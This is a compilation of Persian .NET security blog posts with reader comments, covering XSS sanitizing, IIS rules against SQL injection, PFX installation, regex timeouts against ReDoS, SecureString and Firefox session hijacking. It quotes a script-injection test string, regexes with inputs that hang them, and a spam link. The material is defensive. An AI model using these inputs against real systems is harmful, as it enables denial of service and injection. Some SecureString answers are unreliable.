در ورژن AntiXss Library4.2 2013 برای تنظیمات فقط باید در فایل Web.config کد زیر را اضافه کرد
در بخش system.web

```
<httpRuntime executionTimeout="180" encoderType="Microsoft.Security.Application.AntiXssEncoder,
AntiXssLibrary" />
```

نویسنده: ایران من
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۸:۱۲

با سلام؛ میشه لطف کنید و تو یه پروژه نحوه استفاده از این ماژول رو آموزش بدین ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۸:۴۲

پروژه IRIS از HtmlCleaner استفاده کرده.

نویسنده: شهاب
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۹:۴

ممنون. اما من میخوام تو صفحاتم از tinymce استفاده کنم. ابته تو winforms 4.5 نه mvc. اینو چه کنم.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۹:۱۰

- HtmlCleaner وابستگی به MVC ندارد.
- اصلا ماژول نیست و نیازی نیست داخل web.config ثبت شود.
- یکبار باید کامنت‌ها را کامل مطالعه کنید تا علت رسیدن به HTML Cleaner نهایی مشخص شود.
+ کمی بالاتر توضیح دادم «فقط از متد ToSafeHtml کلاس HtmlSanitizer آن به صورت دستی و در موارد لازم که HTML از کاربر دریافت می‌شود، استفاده کنید. »

نویسنده: شهاب
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۹:۱۱

در واقع زمانی که در حال دریافت اطلاعات از tinymce هستم بایستی مقدار دریافتی را به این روش چک کنم؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۵ ۱۹:۱۳

بله. با استفاده از متد ToSafeHtml تمیز و بعد در بانک اطلاعاتی ذخیره‌اش کنید.

نویسنده: محمد
تاریخ: ۱۳۹۲/۰۹/۲۵ ۲۱:۳۵

سلام؛ در دات نت 4 به بعد که AntiXSS معرفی شد ، آیا این رفرنس اضافه شده به طور خودکار اینکار را انجام نمیدهد؟ با وجود کدی که شما زحمت کشیدین ، پس کار AntiXss چی هست ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۵ ۲۱:۴۳

- موتور سیستم اعتبارسنجی خودکار ورودی‌ها در ASP.NET قابل تغییر است (حالا چه نگارش قدیمی آن باشد، چه AntiXss جدید). اما این موتور به صورت پیش فرض به هر نوع تگی عکس العمل نشان می‌دهد. یعنی شما نمی‌توانید متن HTMLایی ارسال کنید بدون خاموش کردن یا تغییر بسیاری از پیش‌فرض‌های آن (مقدمه بحث). مثلا در ASP.NET MVC با استفاده از ویژگی AllowHtml می‌شود فقط یک خاصیت را جهت ارسال HTML مجاز دانست (از این لحاظ نسبت به Webforms بهتر عمل می‌کند؛ چون مجبور نیستید به ازای یک صفحه یا حتی کل سایت این اعتبارسنجی را خاموش کنید).
- با استفاده از کلاس‌ها و متدهای AntiXss هم می‌شود دستی HTML را تمیز کرد و خروجی امن گرفت (کاری که ابتدا در کدهای متن انجام شده بود و هنوز هم قابل مشاهده است). اما این خروجی تهیه شده توسط AntiXss، یک سری اضافات و دخل و تصرف‌هایی دارد که خوشایند نیست. کامنت‌های مطلب را از ابتدا مطالعه کنید تا به سیر منطقی رسیدن به کتابخانه Clean HTML تهیه شده برسید.

نویسنده: میثم کریمی
تاریخ: ۱۳۹۳/۱۱/۰۱ ۱۲:۲۳

سلام
من یک سوال داشتم . من از کلاس‌های شما در برنامه ام استفاده کردم مدل من به شرح زیر است :

```
public class Contact
    {
        public int Id { get; set; }
        [AllowHtml]
        public string Name { get; set; }
        public string Address { get; set; }
    }
```

و برای تست اکشن‌های زیر رو داخل کنترلر نوشتم :

```
[HttpGet]
        public ActionResult ContactUs()
        {
            return View();
        }
        [HttpPost]
        public ActionResult ContactUs(Contact con)
        {

            ViewBag.Name = con.Name.ToSafeHtml();
            ViewBag.MyAddress = con.Address;
            return View();
        }
```

خوب همه چیز به درستی کار می‌کنه . اما سوالات من به شرح زیر است :

۱ - آیا واقعا نیاز نیست پروپرتی هایی رو که AllowHTML نیستند رو کنترل کنیم ؟ خود Asp.net MVC جلوی این قضیه رو می‌گیره ؟

۲ - اگر ما یک پروپرتی رو AllowHtml نگذاریم و قصد وارد کردن یک تگ Script داشته باشیم با خطای زیر مواجه می‌شویم :

```
A potentially dangerous Request.Form value was detected from the client
(Name="<script>alert("aaa")...").
```

چطور این پیام رو سیستم نشون نده و یک پیام سفارشی نشون بده ؟

۳ - از متدهای دیگه ای که در کلاس‌های شما است در کجاها با مثال عملیاتی می‌شه استفاده کرد ؟

تشکر از لطفتون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۱/۰۱ ۱۲:۴۱

- بله. به همان خطاهای شماره 2 که ذکر کردید می‌رسید.

- برای سفارشی کردن خطاها، نیاز است یک سری تنظیمات را در وب کانفیگ اعمال کنید به همراه نصب ELMAH. اطلاعات بیشتر

نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۱/۱۸ ۲:۱۸

سلام. مدل برنامه من به شرح زیر است:

```
public class Post
    {
        [Key]
        [DatabaseGenerated(DatabaseGeneratedOption.Identity)]
        public int PostId { get; set; }
        [Required(ErrorMessage = "فیلد عنوان الزامی است")]
        [Display(Name = "عنوان پست")]
        public string PostTitle { get; set; }
        [Display(Name = "محتوا")]
        [AllowHtml]
        public string Content { get; set; }
        [DataType(DataType.Date)]
        [Display(Name = "تاریخ نشر")]
        public DateTime PublishDate { get; set; }
    }
```

و برای فیلد Content یک TextArea قرار دادم که به Froala متصل شده و برای ذخیره اکشن زیر رو نوشتم

```
[HttpPost]

        public ActionResult CreateNewPost(Post post)
        {
            if (ModelState.IsValid)
            {
                post.Content = post.Content.ToSafeHtml();
```

```
                PostData.AddNewPost(post);
                return RedirectToAction("Index", "Home", new { area = "" });
            }
            return View(post);
        }
```

مشکل اینجاست که وقتی از Froala استفاده میکنم تابع ToSafeHtml از کتابخانه AntiXss مایکروسافت و ToSafeHtml مطرح شده در این بحث هیچ تاثیری روی فیلد Content نداره اما وقتی Froala را با TextArea جایگزین میکنم همه چی درست میشه.
میخواستم ببینم چطور میشه این مشکل رو برطرف کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۱/۱۸ ۱۲:۹

مشکلی مشاهده نشد.
- ابتدا به مثال مربوطه ، کتابخانه‌ی AntiXSS مایکروسافت اضافه شد.
- سپس در حالت مشاهده‌ی HTML این ادیتور، تگ اسکریپتی جهت بررسی تزریق XSS اضافه گردید:

- سپس مقدار body پیش از و همچنین پس از عبور آن از کتابخانه‌ی Anti-XSS بررسی شد.
پیش از عبور: (اصل محتوای ارسالی به سرور)

پس از عبور: (محتوای پاکسازی شده)

```
28      /// <summary>
29      /// ذخیره سازی خودکار
30      /// </summary>
31      [HttpPost]
32      [ValidateInput(false)]
33      public ActionResult FroalaAutoSave(string body, int? postId) // نام پارامتر پایدی را تغییر ندهید
34      {
35          body = Sanitizer.GetSafeHtml(body);
36              body "<html>\r\n<body>\r\n<p>تست می‌شود</p>\r\n<p><br>\r\n</p>\r\n</body>\r\n</html>\r\n"
37          //todo: save body ...
38          return new EmptyResult();
39      }
40
```

عنوان: **نکات امنیتی OWASP مخصوص برنامه نویس‌های دات نت**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۳/۲۵ ۰۸:۴۸:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

OWSAP ارگانی است غیرانتفاعی که هدف آن ترویج طراحی برنامه‌های امن وب است. در این راه هم مطالب آموزشی بسیار ارزشمندی را منتشر کرده است [+]. در لینک‌های زیر این مطالب از دیدگاه برنامه نویس‌های دات نت مورد بررسی قرار گرفته‌اند. هر چند مطابق آخرین گزارش WhiteHat که اخیرا منتشر شده [+]، تعداد Exploits مربوط به ASP.NET در مقایسه با PHP و جاوا بسیار کمتر بوده اما نیاز است تا با مشکلات عمومی موجود و راه‌حل‌های مرتبط بیشتر آشنا شد:

OWASP Top 10 for .NET developers part 1: Injection
(OWASP Top 10 for .NET developers part 2: Cross-Site Scripting (XSS
OWASP Top 10 for .NET developers part 3: Broken authentication and session management
OWASP Top 10 for .NET developers part 4: Insecure direct object reference
(OWASP Top 10 for .NET developers part 5: Cross-Site Request Forgery (CSRF
OWASP Top 10 for .NET developers part 6: Security Misconfiguration
OWASP Top 10 for .NET developers part 7: Insecure Cryptographic Storage

عنوان: **متوقف سازی حملات خودکار تزریق اس کیوال در IIS**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۶/۱۵ ۰۰:۱۴:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

یک سری ابزار وجود دارند که کارشان امتحان الگوهای متداول حملات تزریق اس کیوال به سایت‌ها است. تیم امنیتی اس کیوال سرور وقت گذاشته و این‌ها رو آنالیز کرده، نتیجه‌اش شده یک الگو:

Blocking automated SQL injection attacks

تیم امنیتی IIS هم برای این الگو، یک IIS URL Rewrite زیبا رو تهیه کرده تا فقط با اضافه کردن آن به web.config یک برنامه وب، تعداد زیادی از حملات خودکار تزریق اس کیوال را بتوان بلاک کرد:

Blocking SQL injection using IIS URL Rewrite

این مورد را می‌شود به چک لیست انتشار یک برنامه ASP.NET اضافه کرد.

نظرات خوانندگان

نویسنده: Nima
تاریخ: ۱۳۹۰/۰۶/۱۵ ۰۸:۲۶:۲۲

سلام آقای نصیری
با تشکر از مطلب مفیدتون. من فکر کنم اینها فقط جلوی حمله خاصی رو گرفتن و کاری که گفتن به متوقف سازی کل Sql Injection کمک نمیکنه

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۶/۱۵ ۰۸:۳۲:۳۵

به همین جهت روی کلمه‌ی automated تاکید کردند.

نویسنده: Farhad Yazdan-Panah
تاریخ: ۱۳۹۰/۰۶/۱۵ ۲۲:۵۲:۴۱

با سلام جناب نصیری
سوال من اینه که آیا هنوز افرادی هستند که برنامه هاشون مشکل تزریق کد SQL داشته باشه؟
اگه همه دستورات ارسالی به پایگاه داده رو از طریق یه DAL و یا ... (با استفده از Parameter در SQL) باشه، چه لزومی به این کارها و ایجاد یک سرباره؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۶/۱۵ ۲۳:۰۰:۲۸

بله. اگر کسی از یکی از ORM های موجود استفاده کند، نیازی به این بازی‌ها نخواهد داشت:
http://www.dotnettips.info/2009/11/linq-to-sql.html

ولی در سایر موارد فقط کافی است یکی یک مورد را فراموش کند؛ یا پروژه‌های قدیمی هنوز برقرار باشند. بنابراین بهتر است کمی احتیاط کرد.

نویسنده: Farhad Yazdan-Panah
تاریخ: ۱۳۹۰/۰۶/۲۲ ۲۰:۲۰:۱۵

در تایید شما:
http://feedproxy.google.com/~r/readwriteweb/~3/m7Gqu3WscwE/a-brief-history-of-sql-injecti.php

نویسنده: مرتضی مختاری
تاریخ: ۱۳۹۲/۰۳/۲۳ ۱۹:۲۱

سلام؛ کد دوم که باید بذاریم تویه وب کانفیگ رو بنده تویه سایتم گذاشتم ولی تگ <rewrite> رو شناسایی نمیکنه باید تغییر دیگه ای اعمال کنم.التبه خطایی نمیده ولی تویه وب کانفیگ یه خط آبی رنگ زیرش کشیده و میگه که تگ<system.webServer> شامل این تگ نیست با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۲۳ ۲۰:۱۶

بله. باید ماژول URL Rewrite روی وب سرور نصب باشد.

عنوان: **نصب خودکار اطلاعات فایل‌های PFX در سیستم**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۱۰/۱۳ ۱۰:۵۰:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

در مورد نحوه رمزنگاری فایل‌های PDF به کمک روش Public-key encryption توسط iTextSharp مطلبی را پیشتر در این سایت مطالعه کرده‌اید.
این روش یک مشکل مهم دارد: «ارائه فایل PFX و همچنین کلمه عبور آن به کاربر نهایی»
خوب، این یعنی اینکه شما به راحتی می‌تونید اطلاعات را رمزگشایی کنید؛ چون همه چیز سخاوتمندانه در اختیارتان است. بنابراین ضرورت رمزنگاری آن در ابتدای امر زیر سؤال می‌رود.
اکنون این سؤال مطرح می‌شود که آیا می‌توان این اطلاعات را تا حد قابل قبولی مخفی کرد؟ مثلا یک برنامه را در اختیار کاربر قرار داد که اطلاعات فایل PFX را به همراه کلمه عبور آن در سیستم نصب کند.
پاسخ:
دات نت به صورت توکار از این نوع فایل‌های مجوز پشتیبانی می‌کند:

```
using System.Security.Cryptography.X509Certificates;

namespace InstallPfx
{
    class Program
    {
        private static void InstallCertificate(string cerFileName, string password)
        {
            var certificate = new X509Certificate2(cerFileName, password,
X509KeyStorageFlags.PersistKeySet);
            var store = new X509Store(StoreName.My);
            store.Open(OpenFlags.ReadWrite);
            store.Add(certificate);
            store.Close();
        }

        static void Main(string[] args)
        {
            InstallCertificate(@"D:\forTest\file.pfx", "123456");
        }
    }
}
```

پس از اجرای کد فوق، امکان مشاهده فایل‌های PDF رمزنگاری شده به کمک اطلاعات فایل file.pfx، میسر می‌شود.
برای مشاهده این مجوز نصب شده هم می‌توان در دیالوگ Run ویندوز نوشت : certmgr.msc تا کنسول مدیریتی مجوزهای ویندوز ظاهر شود. سپس به قسمت personal certificates باید مراجعه کرد.

نظرات خوانندگان

نویسنده: Nima
تاریخ: ۱۳۹۰/۱۰/۱۳ ۱۹:۰۱:۱۰

با سلام خدمت شما استاد عزیز
ببخشید من متوجه نشدم این برنامه کجا اجرا میشه؟ اگر این برنامه هم روی کلاینت اجرا بشه که براحتی میشه سورس رو با Reflector ها بدست آورد.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۱۰/۱۳ ۱۹:۳۹:۵۵

این رو برای کسانی نوشتم که می‌دونند با Reflector چطور باید رفتار کرد. چطور باید اطلاعات رو رمزنگاری کرد، چطور باید از SecureString استفاده کرد، چطور باید ردی در حافظه نذاشت. این فقط یک شروع بود ...

نویسنده: A. Karimi
تاریخ: ۱۳۹۰/۱۰/۱۴ ۱۱:۲۳:۲۱

ممنون اطلاعات مفیدی بود.

عنوان: **عبارات باقاعده و نیاز به Timeout**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۱۲/۲۳ ۱۸:۴۱:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

یکبار سعی کنید مثال ساده زیر را اجرا کنید:

```
using System;
using System.Text.RegularExpressions;

namespace RegexLoop
{
    class Program
    {
        static void Main(string[] args)
        {
            var emailAddressRegex = new Regex(@"^[A-Za-z0-9]([_\.\-]?[A-Za-z0-9]+)*\@[A-Za-z0-9]([_\.\-
]?[A-Za-z0-9]+)*\.[A-Za-z0-9]([_\.\-]?[A-Za-z0-9]+)*$|^$");
            if (emailAddressRegex.IsMatch("an.infinite.loop.sample.just_for.test"))
            {
                Console.WriteLine("Matched!");
            }

            var input = "The quick brown fox jumps";
            var pattern = @"([a-z ]+)*!";
            if (Regex.IsMatch(input, pattern))
            {
                Console.WriteLine("Matched!");
            }
        }
    }
}
```

پس از اجرا، برنامه هنگ خواهد کرد یا به عبارتی برنامه در یک حلقه بی‌نهایت قرار می‌گیرد (در هر دو مثال؛ اطلاعات بیشتر و آنالیز کامل در اینجا). بنابراین نیاز به مکانیزمی امنیتی جهت محافظت در برابر این نوع ورودی‌ها وجود خواهد داشت؛ مثلا یک Timeout . اگر تا 2 ثانیه به جواب نرسیدیم، اجرای Regex متوقف شود. تا دات نت 4، چنین timeout ایی پیش بینی نشده؛ اما در دات نت 4 و نیم آرگومانی جهت تعریف حداکثر مدت زمان قابل قبول اجرای یک عبارت باقاعده در نظر گرفته شده است (^) و اگر در طی مدت زمان مشخص شده، کار انجام محاسبات به پایان نرسد، استثنای RegexMatchTimeoutException صادر خواهد شد.

خیلی هم خوب. به این ترتیب کسی نمی‌تونه با یک ورودی ویژه، CPU Usage سیستم رو تا مدت زمان نامحدودی به 100 درصد برساند و عملا استفاده از سیستم رو غیرممکن کنه.

اما تا قبل از دات نت 4 و نیم چکار باید کرد؟ روش کلی حل این مساله به این ترتیب است که باید اجرای Regex را به یک ترد دیگر منتقل کرد؛ اگر مدت اجرای عملیات، از زمان تعیین شده بیشتر گردید، آنگاه می‌شود ترد را Abort کرد و به عملیات خاتمه داد. روش پیاده سازی و نحوه استفاده از آن‌را در ادامه ملاحظه خواهید نمود:

```
using System;
using System.Text.RegularExpressions;
using System.Threading;

namespace RegexLoop
{
    public static class TimedRunner
    {
        public static R RunWithTimeout<R>(Func<R> proc, TimeSpan duration)
        {
            using (var waitHandle = new AutoResetEvent(false))
```

```
            {
                var ret = default(R);
                var thread = new Thread(() =>
                {
                    ret = proc();
                    waitHandle.Set();
                }) { IsBackground = true };
                thread.Start();

                bool timedOut = !waitHandle.WaitOne(duration, false);
                waitHandle.Close();

                if (timedOut)
                {
                    try
                    {
                        thread.Abort();
                    }
                    catch { }
                    return default(R);
                }
                return ret;
            }
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            var emailAddressRegex = new Regex(@"^[A-Za-z0-9]([_\.\-]?[A-Za-z0-9]+)*\@[A-Za-z0-9]([_\.\-
]?[A-Za-z0-9]+)*\.[A-Za-z0-9]([_\.\-]?[A-Za-z0-9]+)*$|^$");
            if (TimedRunner.RunWithTimeout(
                 () => emailAddressRegex.IsMatch("an.infinite.loop.sample.just_for.test"),
                 TimeSpan.FromSeconds(2)))
            {
                Console.WriteLine("Matched!");
            }

            var input = "The quick brown fox jumps";
            var pattern = @"([a-z ]+)*!";
            if (TimedRunner.RunWithTimeout(() => Regex.IsMatch(input, pattern),
TimeSpan.FromSeconds(2)))
            {
                Console.WriteLine("Matched!");
            }
        }
    }
}
```

اینبار به هر کدام از عبارات باقاعده 2 ثانیه زمان برای اتمام کار داده شده است. در غیراینصورت مقدار پیش فرض خروجی متد فراخوانی شده، بازگشت داده می‌شود که در اینجا false است.

عنوان: **نگهداری رشته ها (String) در حافظه به صورت Encrypt**
نویسنده: حسین مرادی نیا
تاریخ: ۱۳۹۱/۰۳/۳۱ ۴:۹
آدرس: www.dotnettips.info
برچسب‌ها: Security, Tips

در همین سایت در بخش لینک‌های ارسالی ، لینکی توسط آقای امیر هاشم زاده به اشتراک گذاشته شده بود با عنوان "چرا هکرها نوع داده String را دوست دارند" ؛ مقاله ای بود در سایت CodeProject که در آن روش هایی که هکرها توسط آن می‌توانند اطلاعات حساس نرم افزار را که در قالب String در حافظه ذخیره شده اند را بررسی نمایند.
اصل مطلب را می‌توانید اینجا مطالعه کنید.

در دات نت فریم ورک کلاسی با عنوان SecureString وجود دارد که توسط آن می‌توان عبارات رشته ای که دارای اطلاعات حساس می‌باشند را به صورت رمز گذاری شده در حافظه ذخیره نمود.

نمونه ای از استفاده این تابع را در زیر مشاهده میکنید:

```
public class Example
{
    public static void Main()
    {
        .
        SecureString securePwd = new SecureString();
        ConsoleKeyInfo key;

        Console.Write("Enter password: ");
        do {
           key = Console.ReadKey(true);

           // بررسی میشود که کلید فشرده شده جزو حروف الفبا می‌باشد یا کلید دیگری است
           if (((int) key.Key) >= 65 && ((int) key.Key <= 90)) {
              // کاراکتر مربوط به کلید فشرده شده به انتهای متغیر سکوراسترینگ اضافه می‌شود
              securePwd.AppendChar(key.KeyChar);
              Console.Write("*");
           }
        // خروج از حلقه در صورت فشردن کلید اینتر
        } while (key.Key != ConsoleKey.Enter);
        Console.WriteLine();

        try
        {
            MessageBox.Show(securePwd);
        }
        catch (Win32Exception e)
        {
            Console.WriteLine(e.Message);
        }
    }
}
```

در کدهای بالا رمز عبور از کاربر دریافت شده و در متغیر securepwd که شئی از کلاس SecureString می‌باشد ذخیره می‌شود.پس از آن شئی SecureString عبارت مربوطه را به صورت رمز گذاری شده در حافظه ذخیره میکند.
در این روش ابتدا مقدار کلید فشرده شده در متغیر Key که از نوع ConsoleKeyInfo تعریف شده ذخیره می‌شود. بعد از آن مقدار آن بررسی شده و اگر جزو حروف الفبای انگلیسی بود به انتهای متغیر securepwd افزوده می‌شود. این کار با متد AppendChar انجام می‌شود. این عملیات تا فشرده شدن کلید Enter ادامه پیدا میکند.

نظرات خوانندگان

نویسنده: فرید
تاریخ: ۱۳۹۱/۰۳/۳۱ ۴:۵۳

سلام
مرسی از مطلب خوبتون
ولی یه سوال :

آیا کرکرها و کیلاگرها به سادگی می‌توانند به آنها پی ببرند؟

نویسنده: پرهام
تاریخ: ۱۳۹۱/۰۳/۳۱ ۸:۲۱

به کدوم قسمت پی ببرن، بخش تایپ شاید؟! یعنی قبل از اینکه به securePwd اضافه بشه. ولی وقتی اضافه شد و در حافظه قرا گرفت احتمالا یا نه یا خیلی سخت. بستگی به الگریتم رمزگذاری داره.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۳/۳۱ ۸:۲۵

بحث key logger متفاوت است. این متد سبب نمی‌شود که کلید فشرده شده کاربر از دید یک لاگر مخصوص آن مخفی باقی بماند. این روش فقط اطلاعات رشته‌ای را حین استفاده در برنامه به صورت یک رشته ساده در حافظه قرار نمی‌دهد. بلافاصله پس از استفاده از آن رمزنگاری اطلاعات آن خودکار است.
جهت اطلاع password box در wpf به صورت پیش فرض از همین کلاس استفاده می‌کند.

نویسنده: محمد
تاریخ: ۱۳۹۱/۰۳/۳۱ ۱۰:۵

مرسی و خسته نباشید، مفید بود
مثلا اگه پسورد رو از دیتابیسی واکشی و با این مقدار مقایسه کنیم؛ برا مقایسه این رشته امن تابعی وجود داره؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۳/۳۱ ۱۰:۲۶

- شما نباید کلمه عبور رو هش نشده در بانک اطلاعاتی ذخیره کنید. (یعنی واکشی کلمه عبور به صورت clear text کار اشتباهی است)
- برای مقایسه در اینجا بهتر است از یک loop و بررسی کاراکترها به نحوی که در اینجا بحث شده استفاده کنید. بعد هم حافظه رو تخریب کنید. بحث اصلی اینجا است که قرار است ردی در حافظه باقی نماند؛ آن هم به صورت رمزنگاری نشده.

نویسنده: محسن
تاریخ: ۱۳۹۱/۰۳/۳۱ ۲۰:۵۳

البته این رو هم باید اضافه می‌کردید استفاده از این متد در حالت UnSafe(با سوئیچ UnSafe) قابل استفاده است به این دلیل که رشته‌ی رمزنگاری شده در حافظه‌ی مدیریت نشده(خارج از کنترل CLR)قرار می‌گیرد.بنابراین دسترسی به این بخش تقریبا غیرممکن است.
موفق باشید.

نویسنده: پوریا عالی نژاد

تاریخ: ۱۳۹۱/۰۴/۰۱ ۹:۵۵

بنده متوجه نشدم. وقتی هکر یا کرکر می‌تواند با Marshal.PtrToStringBSTR و چند تابع کمکی دیگر محتویات درون SecureString را کشف کند، آیا هدف ما فقط از رده خارج کردن تعدادی از کرکرهای آماتور و ابزارمحور هستند؟
و یا اصلا چه دلیلی دارد که پسورد را در حافظه نگه داریم؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۰۱ ۱۰:۳۵

مشکلی که با string معمولی وجود دارد این است که به صورت معمولی و غیر رمزنگاری شده در حافظه قرار می‌گیرند و همچنین توسط برنامه هم قابل حذف از حافظه نیستند. اگر محتویات آن‌را تغییر دهید، یک وهله دیگر ایجاد شده و وهله قبلی هنوز در حافظه قرار داد و البته ... هر زمان که GC صلاح دید آن‌را پس از مدتی حذف می‌کند اما نه بلافاصله. اصطلاحا به این نوع اشیاء immutable هم گفته می‌شود.
SecureString اینبار mutable است و می‌توان مقدار آن‌را توسط برنامه واقعا تخریب کرد و منتظر GC نشد و تغییرات در آن، چندین کپی از آن‌را ایجاد نمی‌کند. SecureString توسط کدهای unmanaged تهیه شده و دسترسی به محتوای آن به این سادگی‌ها نیست. برای دسترسی به آن خارج از برنامه، یک شخص باید اشاره‌گر به (IntPtr unmanaged) این رشته رمزنگاری شده را بیابد. Marshal.PtrToStringBSTR فقط یک string pointer را دراختیار شما قرار می‌دهد.

ضمن اینکه امنیت بحثی نسبی است. اگر از خانه خارج می‌شوید بهتر است درب آن‌را قفل کنید. اما این به معنای نفوذناپذیری 100 درصد خانه شما نیست ولی این امر «نسبت به» خانه‌ای که درب آن کاملا باز است، خیلی بهتر است .

نویسنده: ابراهیم
تاریخ: ۱۳۹۱/۰۴/۰۲ ۱۵:۱۴

خیلی ممنون از مطلب خوبتون
سوالی داشتم : چطور میشه از رشته ای که در این نوع داده ذخیره شده استفاده کرد؟ منظورم اینه که چطور میشه در داخل برنامه فهمید که چه داده ای در این متغیر وجود داره

نویسنده: حسین مرادی نیا
تاریخ: ۱۳۹۱/۰۴/۰۴ ۲۳:۴۵

همانند یک متغیر از نوع String با آن رفتار می‌شود. برای مثال برای نمایش مقدار موجود در این متغیر می‌توان از دستور زیر استفاده کرد:

```
MessageBox.Show(securePwd);
```

نویسنده: ابراهیم
تاریخ: ۱۳۹۱/۰۴/۰۵ ۱۵:۶

وقتی این دستور رو اجرا میکنم پیغام زیر نمایش داده میشه

```
System.Security.SecureString
```

و محتوای رشته نمایش داده نمیشه

عنوان: **شرح یک مشکل امنیتی با فایرفاکس**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۰۲ ۱۱:۶
آدرس: www.dotnettips.info
برچسب‌ها: Firefox, Security

حدود دو ماه قبل دوبار از طریق میل‌باکس یاهو من به تمام contactهای تعریف شده در آن ایمیلی با محتوای زیر ارسال شده بود:

```
Hello,
you should definitely check this thing out http://www.newsl5.net/biz/?page=xyz
```

این ایمیل‌ها هم جعلی نبودند. یعنی واقعا از اکانت یاهوی من ارسال شده بودند و در قسمت sent وجود خارجی داشتند! فقط IP ارسال کننده آن (115.78.224.246) متعلق به کشور ویتنام بود (IP ارسال کننده را در هدر ایمیل ارسالی می‌توان مشاهده کرد).
این مساله باعث شد که من سیستم را چندین بار چک کنم؛ از لحاظ بحث ویروس تا اسپای‌ور و غیره. «هیچ» مشکلی مشاهده نشد.
مرحله بعد کمی در مورد یاهو جستجو کردم و مشخص شد که یاهو با session hijacking به شدت مشکل دارد. همچنین ابزار دیگری که می‌تواند به این session hijacking کمک کند خود «فایرفاکس» است. فایرفاکس حاوی گزینه‌ای است که سشن‌های قبلی شما را ذخیره می‌کند. زمانیکه مرورگر را بسته و پس از مدتی آن‌را باز می‌کنیم، یک راست و قشنگ همان سشن قبلی مثلا یاهو را بازیابی کرده و کار ادامه پیدا می‌کند.
کمی گشتم و این قابلیت رو به کل غیرفعال کردم. برای غیرفعال کردن آن «Disable Session Restore in Firefox» را در گوگل جستجو کنید.
و خلاصه آن به صورت زیر است:
در نوار آدرس فایرفاکس تایپ کنید about:config
در ادامه موارد زیر را یافته و غیرفعال کنید:

```
browser.sessionstore.resume_from_crash;false
browser.sessionstore.resume_session_once;false
browser.sessionstore.restore_pinned_tabs_on_demand;false
browser.sessionstore.restore_hidden_tabs;false
services.sync.prefs.sync.browser.sessionstore.restore_on_demand;false
```

راه ساده‌تر:
افزونه session manager را نصب کنید
در قسمت session manager options در برگه startup & shutdown آن کلا بحث ذخیره سازی سشن در حین بسته شدن مرورگر را غیرفعال کنید.

و به صورت خلاصه: تنظیمات پیش فرض فایرفاکس از لحاظ امنیتی مناسب نیستند.

ضمن اینکه ایمیل فوق رو من هفته‌ای یکی دو بار از تمام افرادی که می‌شناسم دریافت می‌کنم! به عبارتی خیلی‌ها گرفتار این مساله شده‌اند.

ذخیره سازی سشن‌ها به نظر کارها رو ساده می‌کنه. مرورگر رو باز می‌کنی همه چیز مثل قبل از بسته شدن آن است و ... همین یعنی مشکل امنیتی. خصوصا مراجعه به سایت‌ها و لینک‌هایی که از باگ‌های XSS سوء استفاده می‌کنند.

نظرات خوانندگان

نویسنده: میثم هوشمند
تاریخ: ۱۳۹۱/۰۴/۰۲ ۱۴:۱۱

خب یعنی فایر فاکس مشکل امنیتی دارد؛ و این مشکلی که برای شما به وجود آمده به دلیل ورود به سایتی بوده که حمله XSS صورت داده است؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۰۲ ۱۶:۲۹

بله. این مشکلی که نام بردم خیلی دامنه دار است. حدود چندماهی است که مدام برای تمام آشناهای من ارسال شده و همه مشکل پیدا کردن.
علت اینکه امروز این مطلب رو نوشتم دریافت مجدد چندباره یک چنین ایمیلی از آشناها بود.
مشخصات آن هم این است که به تمام contactهای تعریف شده شما ارسال شده و در قسمت sent قابل مشاهده است.

نویسنده: احسان
تاریخ: ۱۳۹۱/۰۴/۰۳ ۲۰:۲۳

من ابتدا session manager رو استفاده کردم و تنظیمات رو طبق راهنما انجام دادم
ولی هنوز browser.sessionstore.resume_from_crash در حالت فعال بود
بنابراین به صورت دستی هم کار رو انجام دادم که خاطر جمع باشه

عنوان: **استفاده از OpenID در وب سایت جهت احراز هویت کاربران**
نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۴/۰۸ ۲۱:۲
آدرس: www.dotnettips.info
برچسب‌ها: ASP.Net, C#, MVC, Security, OpenID

قبلا شرح مختصری در زمینه OpenID در اینجا گفته شد.
حال می‌خواهیم این امکان را در پروژه خود بکار ببریم، جهت این کار باید ابتدا یک پروژه ایجاد کرده و از کتابخانه‌های سورس باز موجود استفاده کرد.
1- ابتدا در ویژوال استودیو یا هر نرم افزار دیگر یک پروژه MVC ایجاد نمایید.

2- نوع Internet Application و برای View Engine سایت Razor را انتخاب نمایید.

3- کتابخانه DotNetOpenId سورس باز را می‌توانید مستقیما از این آدرس دانلود نموده یا از طریق Package Manager Console و با نوشتن Install-Package DotNetOpenAuth به صورت آنلاین این کتابخانه را نصب نمایید.

4- مدل‌های برنامه را مانند زیر ایجاد نمایید

```
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Globalization;
using System.Security.Cryptography;
using System.Text;
using System.Web.Mvc;
using System.Web.Security;

namespace OpenIDExample.Models
{
    #region Models

    public class ChangePasswordModel
    {
